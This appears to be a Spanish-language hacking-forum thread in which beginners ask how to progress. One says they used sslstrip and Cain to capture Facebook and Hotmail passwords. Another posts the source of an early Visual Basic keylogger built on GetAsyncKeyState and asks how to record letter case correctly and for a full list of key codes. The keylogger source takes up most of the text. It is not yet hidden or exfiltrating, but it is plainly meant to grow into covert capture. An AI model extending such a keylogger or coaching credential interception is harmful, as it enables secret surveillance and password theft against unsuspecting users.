Mensajes

Al fin logre ver mi contraseña de facebook y hotmail usando sslstrip ubuntu, ahora que he logrado hacer esto que paso debo de seguir? que debo de leer que debo de investigar que debo de practicar.

Saludos

Voy empezando en esto y al fin pude en ubuntu usar sslstrip y ver mi contraseña de hotmail y de Facebook y en Windows con Caín ver en páginas sin https ahora no se qu paso sigue en esto. Que debería comenzar a estudiar y practicar después después de esto?

Que tal tengo un Keylogger aun muy rudimentario. Lo acabo de empezar hace apenas 1 hora.

Código [Seleccionar] Expandir

Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim i As Integer
        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
            If GetAsyncKeyState(32) = -32767 Then
                TextBox1.Text = TextBox1.Text + " "
            End If
            'Enter
            If GetAsyncKeyState(13) = -32767 Then
                TextBox1.Text = TextBox1.Text & vbCrLf & "[Enter] "
            End If
            'Esc
            If GetAsyncKeyState(27) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Esc] "
            End If
            'Izquierda
            If GetAsyncKeyState(37) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Izq] "
            End If
            'Arriba
            If GetAsyncKeyState(38) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Arriba] "
            End If
            'Derecha
            If GetAsyncKeyState(39) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Der] "
            End If
            'Abajo
            If GetAsyncKeyState(40) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Abajo] "
            End If
            'Print Screen
            If GetAsyncKeyState(44) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Print Screen] "
            End If
            'Re Pag
            If GetAsyncKeyState(33) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Re Pag] "
            End If
            'Av Pag
            If GetAsyncKeyState(34) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Av Pag] "
            End If
            'Fin Pag
            If GetAsyncKeyState(35) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Fin Pag] "
            End If
            'Inicio Pag
            If GetAsyncKeyState(36) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Inicio Pag] "
            End If
            'Supr
            If GetAsyncKeyState(46) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Supr] "
            End If
            'Insert
            If GetAsyncKeyState(45) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Insert] "
            End If
            'F1
            If GetAsyncKeyState(112) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F1] "
            End If
            'F2
            If GetAsyncKeyState(113) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F2] "
            End If
            'F3
            If GetAsyncKeyState(114) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F3] "
            End If
            'F4
            If GetAsyncKeyState(115) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F4] "
            End If
            'F5
            If GetAsyncKeyState(116) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F5] "
            End If
            'F6
            If GetAsyncKeyState(117) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F6] "
            End If
            'F7
            If GetAsyncKeyState(118) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F7] "
            End If
            'F8
            If GetAsyncKeyState(119) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F8] "
            End If
            'F9
            If GetAsyncKeyState(120) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F9] "
            End If
            'F10
            If GetAsyncKeyState(121) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F10] "
            End If
            'F11
            If GetAsyncKeyState(122) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F11] "
            End If
            'F12
            If GetAsyncKeyState(123) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F12] "
            End If
            'Alt
            If GetAsyncKeyState(164) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Alt] "
            End If
            'Num Lock
            If GetAsyncKeyState(144) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Num Lock] "
            End If
            'Bloq mayús
            If GetAsyncKeyState(20) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Bloq Mayús] "
            End If
            'ñ
            If GetAsyncKeyState(164) = -32767 Then
                TextBox1.Text = TextBox1.Text & "ñ"
            End If
            'Ñ
            If GetAsyncKeyState(240) = -32767 Then
                TextBox1.Text = TextBox1.Text & "Ñ"
            End If
            '"."
            If GetAsyncKeyState(190) = -32767 Then
                TextBox1.Text = TextBox1.Text & "."
            End If
            '","
            If GetAsyncKeyState(188) = -32767 Then
                TextBox1.Text = TextBox1.Text & ","
            End If
            '"Alt Gr"
            If GetAsyncKeyState(165) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Alt Gr] "
            End If
            '"Del"
            If GetAsyncKeyState(8) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Del] "
            End If
            '"Tab"
            If GetAsyncKeyState(9) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Tab] "
            End If
        Next i
    End Sub
End Class

De momento no esta oculto ni se autoguarda ni nada, de momento no he llegado a eso.
El problema es que todo me lo captura en mayúsculas aun sean minúsculas, estoy programando en Visual Basic 2005
Como hago para que no me muestre puras mayusculas y me haga la distincion correcta.

Tambien si tendran un listado completo de:

If GetAsyncKeyState(39) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Der] "

Por que por ejemplo aun no puedo distinguir puntos ni shift ni los numeros del bloque numerico ni varios caracteres.

Saludos y muchas gracias.